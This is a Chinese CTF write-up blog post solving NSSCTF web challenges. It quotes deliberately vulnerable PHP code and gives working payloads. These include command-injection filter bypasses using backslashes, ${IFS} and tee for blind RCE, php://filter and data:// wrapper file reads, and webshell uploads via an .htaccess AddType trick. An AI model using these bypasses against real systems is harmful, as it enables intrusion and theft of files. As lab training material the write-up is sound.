NSS-DAY17 2025SWPU-NSSCTF

babyRCE

题目:

php 复制代码
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

使用斜线绕过:?rce=ca\t${IFS}fla\g.php

使用grep匹配:?rce=grep${IFS}f${IFS}fla?.php

使用@绕过:'''?rce=t@绕过:```?rce=t@绕过:'''?rce=t@a@c@c@c{IFS}f@l@l@l@a@g@g@g@.@p@p@p@h$@p```

finalrce

题目:

php 复制代码
 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

exec()函数:exec(string KaTeX parse error: Expected 'EOF', got '&' at position 16: command, array &̲output = null, int &$result_code = null): string|false

exec() 执行 command 参数所指定的命令。如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。如果同时提供 output 和 result_code 参数,命令执行后的返回状态会被写入到result_code。

返回命令执行结果的最后一行内容。

因此直接传入命令是没有回显的,即无回显RCE

使用tee命令

tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

payload:

复制代码
基本结构为:command | tee file.txt
因为题目没过滤 | , 这是一个管道命令符号,用于将前一个命令的输出作为后一个命令的输入
那么这句话的意思就是将command我们需要执行的命令的输出作为tee命令的输入,tee命令再将其存到file.txt里

绕过ls:/?url=l\s / |tee 1.txt

复制代码
这里这个转义字符 \ 是用于在外壳程序中转移控制字符,使控制字符成为字面量,而失去其在外壳程序中控制符的含义(官方解释)

看到flag的位置了,且没过滤tac,于是直接读取:
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt

复制代码
注意这里la之间也需要绕过

再访问2.txt得到flag:

PseudoProtocols

题目:

尝试伪协议访问隐藏文件php://filter/convert.base64-encode/resource=hint.php

访问test2222222222222.php:

php 复制代码
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

读取a指定的文件内容并比较,使用data协议传输?a=data://text/plain,I want flag

easyupload1.0

直接上传一句话木马


不对,看看是不是在环境里面

easyupload2.0


后缀php被限制了,使用其他可解析的后缀例如phtml


easyupload3.0

直接上传木马被限了

根据网页标题提示要配合其他文件,联想到时.htaccess绕过

先上传.htaccess文件

复制代码
AddType application/x-httpd-php .jpg

再上传木马图片

在html下存在flag.php文件

gift_F12

查看源代码

ez_ez_php

题目:

php 复制代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

使用php伪协议读取文件
?file=php://filter/convert.base64-encode/resource=flag.php
提示在flag文件里?file=php://filter/convert.base64-encode/resource=flag

jicao

题目:

php 复制代码
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

json是数对的形式

Do_you_know_http

抓包,修改user-agent

访问a.php
要求必须要本地访问,添加XFF

访问secretttt.php

WebFTP

直接访问是一个登录页面

爆破了很久都没成功,收集一下其他信息

扫描目录发现存在phpinfo.php页面

FLAG隐藏在环境变量中

导弹迷踪

是一个JS游戏

先定位main

查看game
得到FLAG{y0u_w1n_th1s_!!!}

相关推荐
qingtian!14 小时前
vulnhub-billu_b0x靶机渗透
网络安全·渗透测试
浩浩测试一下17 小时前
06高级语言逻辑结构到汇编语言之逻辑结构转换 for (...; ...; ...)
汇编·数据结构·算法·安全·web安全·网络安全·安全架构
爱思德学术21 小时前
中国计算机学会(CCF)推荐学术会议-A(网络与信息安全):Eurocrypt 2026
安全·网络安全·密码学
jieyu11191 天前
Python 实战:内网渗透中的信息收集自动化脚本(2)
python·网络安全·脚本开发
云声风语1 天前
CTF-RSA-openssl-pem格式的key
网络安全·密码学
天纵软件1 天前
全国网络安全知识竞赛有哪些
网络安全·技能知识竞赛·知识竞赛活动公司·知识竞赛活动策划·知识竞赛软件·高端知识竞赛活动
huluang2 天前
i春秋CTF实战:破解Crypto ezxor谜题,从异或迷阵到Flag重现
ctf
安全漏洞防治中心2 天前
Roadmap:一年实现安全漏洞防治自动化
运维·web安全·网络安全·自动化·漏洞管理·漏洞处置sop·漏洞紧急修复建议
Bruce_Liuxiaowei2 天前
使用批处理脚本安全清理Windows系统垃圾
网络·windows·安全·网络安全
lingggggaaaa2 天前
小迪安全v2023学习笔记(七十讲)—— Python安全&SSTI模板注入&项目工具
笔记·python·学习·安全·web安全·网络安全·ssti